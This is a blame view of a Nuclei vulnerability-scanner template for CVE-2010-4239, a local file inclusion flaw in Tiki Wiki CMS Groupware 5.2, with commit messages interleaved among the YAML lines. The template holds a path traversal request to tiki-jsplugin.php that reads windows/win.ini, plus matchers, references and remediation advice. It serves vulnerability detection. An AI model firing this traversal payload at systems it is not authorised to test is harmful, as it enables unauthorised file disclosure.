daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2010/CVE-2010-4239.yaml

43 lines
1.5 KiB
YAML
Raw Normal View History

Create CVE-2010-4239.yaml
2022-04-22 22:42:10 +00:00
id: CVE-2010-4239
info:
name: Tiki Wiki CMS Groupware 5.2 - Local File Inclusion
author: 0x_akoko
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
severity: critical
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements
2022-05-18 20:58:07 +00:00
description: Tiki Wiki CMS Groupware 5.2 is susceptible to a local file inclusion vulnerability.
updated other CVEs
2023-09-06 13:22:34 +00:00
remediation: |
Upgrade Tiki Wiki CMS Groupware to a version that is not affected by the CVE-2010-4239 vulnerability.
Create CVE-2010-4239.yaml
2022-04-22 22:42:10 +00:00
reference:
- https://dl.packetstormsecurity.net/1009-exploits/tikiwiki52-lfi.txt
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
- https://www.openwall.com/lists/oss-security/2010/11/22/9
- https://security-tracker.debian.org/tracker/CVE-2010-4239
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements
2022-05-18 20:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2010-4239
Added EPSS Percentile
2023-08-31 11:46:18 +00:00
- https://access.redhat.com/security/cve/cve-2010-4239
Create CVE-2010-4239.yaml
2022-04-22 22:42:10 +00:00
classification:
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
Create CVE-2010-4239.yaml
2022-04-22 22:42:10 +00:00
cve-id: CVE-2010-4239
cwe-id: CWE-20
templateman update
2023-10-14 11:27:55 +00:00
epss-score: 0.03561
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot:
2023-12-12 11:07:52 +00:00
epss-percentile: 0.90602
updated other CVEs
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:tiki:tikiwiki_cms\/groupware:5.2:*:*:*:*:*:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: tiki
product: tikiwiki_cms\/groupware
tags enhancements
2023-12-05 09:50:33 +00:00
tags: cve,cve2010,tikiwiki,lfi,tiki
Update CVE-2010-4239.yaml
2022-04-24 23:14:38 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2010-4239.yaml
2022-04-22 22:42:10 +00:00
- method: GET
path:
Update and rename CVE-2010-4239.yaml to cves/2010/CVE-2010-4239.yaml
2022-04-24 14:52:35 +00:00
- "{{BaseURL}}/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini"
Create CVE-2010-4239.yaml
2022-04-22 22:42:10 +00:00
matchers:
- type: word
Update and rename CVE-2010-4239.yaml to cves/2010/CVE-2010-4239.yaml
2022-04-24 14:52:35 +00:00
part: body
Create CVE-2010-4239.yaml
2022-04-22 22:42:10 +00:00
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
Auto Template Signing [Tue Dec 12 12:02:03 UTC 2023] :robot:
2023-12-12 12:02:03 +00:00
# digest: 4b0a00483046022100e32971dcd8a98425c8debf614fcd5d835d07bac4b62b0a569104508aac1c9d02022100cc91e91ad102119063c909d5590726ea69cec3947ce1b2f48416b00cecfc3b5a:922c64590222798bb761d5b6d8e72950